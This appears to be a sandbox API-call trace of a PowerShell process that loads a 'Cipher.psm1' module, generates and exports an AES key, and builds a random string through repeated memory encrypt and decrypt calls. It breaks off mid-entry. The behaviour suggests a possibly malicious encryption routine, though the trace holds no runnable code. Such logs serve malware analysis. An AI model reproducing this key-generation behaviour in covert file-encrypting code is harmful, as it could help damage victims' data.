EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.771] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0127.771] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.771] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.771] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.771] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.772] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e028b0) returned 1 [0127.772] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84ff8) returned 1 [0127.773] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.773] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.773] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a4a988, pdwDataLen=0x99ae788 | out: pbData=0x6a4a988*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.773] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="\xb7ab\x9e73\x34ab\x9337\x8874\x12b4\x8bfe\x78e9\xeb62\x73e9\x1ccc\xd0f8\xc48d\x773d\x30a4\x55f2\xe9c4\xa4d2\xa0c6\x57ac\x520e\x1682\x7305\xa192\x1e28\xde82\xe6\x31\xf22d\x43db\xae70\x13ce\xf600\xa41c\xe484\x99a\x86d0\x42c\xe488\x99a\x87a8\x42c\xe388\x99a\x65bc\x7477\xe3a8\x99a\x08") returned 0x0 [0127.773] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.773] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.773] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.773] SysStringLen (param_1="") returned 0x8 [0127.773] SysStringLen (param_1="V") returned 0x8 [0127.773] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.773] SysStringLen (param_1="\xd31c\x6696\x1ed2\x9125\xd333\x85bb\x1a2f\xd18") returned 0x8 [0127.773] SysStringLen (param_1="\xd31c\x6696\x1ed2\x9125\xd333\x85bb\x1a2f\xd18") returned 0x8 [0127.773] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.773] SysStringLen (param_1="VN") returned 0x8 [0127.774] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="\x7554\x9544\x2159\xb538\x3571\xb9de\xfa18\x11aa") returned 0x8 [0127.774] SysStringLen (param_1="\x7554\x9544\x2159\xb538\x3571\xb9de\xfa18\x11aa") returned 0x8 [0127.774] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="VNg") returned 0x8 [0127.774] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="\x9c8\xfb19\x340f\x47a5\x1b07\x83dd\x1f8f\xaeba") returned 0x8 [0127.774] SysStringLen (param_1="\x9c8\xfb19\x340f\x47a5\x1b07\x83dd\x1f8f\xaeba") returned 0x8 [0127.774] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="VNgO") returned 0x8 [0127.774] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="\x41f7\x83f3\xc868\x6907\x4744\xae34\xd9f\xdc20") returned 0x8 [0127.774] SysStringLen (param_1="\x41f7\x83f3\xc868\x6907\x4744\xae34\xd9f\xdc20") returned 0x8 [0127.774] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="VNgOE") returned 0x8 [0127.774] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="\x5fe6\x9d9\x2382\x6688\x461a\x1ab4\x69e9\x69c9") returned 0x8 [0127.774] SysStringLen (param_1="\x5fe6\x9d9\x2382\x6688\x461a\x1ab4\x69e9\x69c9") returned 0x8 [0127.774] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="VNgOEy") returned 0x8 [0127.774] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.774] SysStringLen (param_1="\x77a3\x3c85\xa275\x3e9f\x736b\x5bee\x798e\xfeb0") returned 0x8 [0127.774] SysStringLen (param_1="\x77a3\x3c85\xa275\x3e9f\x736b\x5bee\x798e\xfeb0") returned 0x8 [0127.774] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.775] SysStringLen (param_1="VNgOEyA") returned 0x8 [0127.775] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.775] SysStringLen (param_1="\x6324\xc471\xae03\x62fd\x2422\x3ca2\x70ae\x9641") returned 0x8 [0127.775] SysStringLen (param_1="\x6324\xc471\xae03\x62fd\x2422\x3ca2\x70ae\x9641") returned 0x8 [0127.775] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.775] SysStringLen (param_1="VNgOEyAk") returned 0x8 [0127.775] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c") returned 0x8 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c") returned 0x8 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c") returned 0x8 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c") returned 0x10 [0127.775] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.775] SysStringLen (param_1="VNgOEyAkx騝怅≶䈋ᣙᘚ序") returned 0x10 [0127.775] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x30dd\x384c\x69b3\x6951\x9d90\xec14\x2213\xd844") returned 0x10 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x30dd\x384c\x69b3\x6951\x9d90\xec14\x2213\xd844") returned 0x10 [0127.775] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.775] SysStringLen (param_1="VNgOEyAkxH怅≶䈋ᣙᘚ序") returned 0x10 [0127.775] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xfbca\x9d33\x1242\x8641\x28c9\x80c5\x973d\x92c") returned 0x10 [0127.775] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xfbca\x9d33\x1242\x8641\x28c9\x80c5\x973d\x92c") returned 0x10 [0127.775] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.775] SysStringLen (param_1="VNgOEyAkxHE≶䈋ᣙᘚ序") returned 0x10 [0127.776] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xdab4\x6b85\x860c\x20\xee38\x257d\x2c4c\x411") returned 0x10 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xdab4\x6b85\x860c\x20\xee38\x257d\x2c4c\x411") returned 0x10 [0127.776] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="VNgOEyAkxHEp䈋ᣙᘚ序") returned 0x10 [0127.776] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xf3\x3b14\xe361\x612c\x832d\x6220\xf86d\x69a6") returned 0x10 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xf3\x3b14\xe361\x612c\x832d\x6220\xf86d\x69a6") returned 0x10 [0127.776] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="VNgOEyAkxHEp1ᣙᘚ序") returned 0x10 [0127.776] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xd01f\xa980\x2a8\xebbd\x901b\x53de\x9ad4\x4f8d") returned 0x10 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xd01f\xa980\x2a8\xebbd\x901b\x53de\x9ad4\x4f8d") returned 0x10 [0127.776] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="VNgOEyAkxHEp1kᘚ序") returned 0x10 [0127.776] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xcd97\xc73\xb4ff\x972e\xbb65\xc0b1\x4ef\xe247") returned 0x10 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\xcd97\xc73\xb4ff\x972e\xbb65\xc0b1\x4ef\xe247") returned 0x10 [0127.776] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="VNgOEyAkxHEp1kq序") returned 0x10 [0127.776] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x86fc\x3535\x7266\x340e\xe8a2\x59ab\xf923\x1f9b") returned 0x10 [0127.776] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x86fc\x3535\x7266\x340e\xe8a2\x59ab\xf923\x1f9b") returned 0x10 [0127.777] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.777] SysStringLen (param_1="VNgOEyAkxHEp1kqr") returned 0x10 [0127.777] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd") returned 0x10 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd") returned 0x10 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd") returned 0x10 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd") returned 0x18 [0127.777] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.777] SysStringLen (param_1="VNgOEyAkxHEp1kqr1馒ৼ귭朦席뭮") returned 0x18 [0127.777] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x4d5e\x2b4d\xb3a6\xf56a\x77cf\x330\xbadb\x8607") returned 0x18 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x4d5e\x2b4d\xb3a6\xf56a\x77cf\x330\xbadb\x8607") returned 0x18 [0127.777] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.777] SysStringLen (param_1="VNgOEyAkxHEp1kqr15ৼ귭朦席뭮") returned 0x18 [0127.777] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xcfaa\xf8aa\x79f3\x4800\x4e6d\x2ccb\x46de\x11d1") returned 0x18 [0127.777] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xcfaa\xf8aa\x79f3\x4800\x4e6d\x2ccb\x46de\x11d1") returned 0x18 [0127.777] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.777] SysStringLen (param_1="VNgOEyAkxHEp1kqr15l귭朦席뭮") returned 0x18 [0127.777] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x55d9\xf8cb\xc6c5\x364a\x7dc7\x563d\x5359\x1ac3") returned 0x18 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x55d9\xf8cb\xc6c5\x364a\x7dc7\x563d\x5359\x1ac3") returned 0x18 [0127.778] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lk朦席뭮") returned 0x18 [0127.778] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xc057\xe5af\x8ab1\xba9e\xd4fd\xa39f\xe364\x7c93") returned 0x18 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xc057\xe5af\x8ab1\xba9e\xd4fd\xa39f\xe364\x7c93") returned 0x18 [0127.778] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkF席뭮") returned 0x18 [0127.778] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xc40a\x484a\xb07\xa57b\x9d65\xb28e\xf957\x4699") returned 0x18 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xc40a\x484a\xb07\xa57b\x9d65\xb28e\xf957\x4699") returned 0x18 [0127.778] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFu席뭮") returned 0x18 [0127.778] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xfb35\x79fb\xd700\x36f1\xf25d\x798b\x8778\xb194") returned 0x18 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xfb35\x79fb\xd700\x36f1\xf25d\x798b\x8778\xb194") returned 0x18 [0127.778] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuY뭮") returned 0x18 [0127.778] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xf80b\x6d79\x91f7\x71c1\x64dd\x8dc3\x4cd9\x1546") returned 0x18 [0127.778] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\xf80b\x6d79\x91f7\x71c1\x64dd\x8dc3\x4cd9\x1546") returned 0x18 [0127.778] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.779] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYA") returned 0x18 [0127.779] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a") returned 0x18 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a") returned 0x18 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a") returned 0x18 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a") returned 0x20 [0127.779] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.779] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAM⽃楰畎⫪岰瞩") returned 0x20 [0127.779] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xb33e\x661f\xbe52\x37be\xeb43\xb1ec\x8a77\x605d") returned 0x20 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xb33e\x661f\xbe52\x37be\xeb43\xb1ec\x8a77\x605d") returned 0x20 [0127.779] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.779] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQ楰畎⫪岰瞩") returned 0x20 [0127.779] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xb4c6\xfb4\x3488\x361b\x3a08\xe2ab\x2276\x20aa") returned 0x20 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xb4c6\xfb4\x3488\x361b\x3a08\xe2ab\x2276\x20aa") returned 0x20 [0127.779] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.779] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQA畎⫪岰瞩") returned 0x20 [0127.779] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xa102\x794d\xe209\xd7c0\xfb1d\xbaf2\x400f\x6346") returned 0x20 [0127.779] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xa102\x794d\xe209\xd7c0\xfb1d\xbaf2\x400f\x6346") returned 0x20 [0127.779] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt⫪岰瞩") returned 0x20 [0127.780] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen 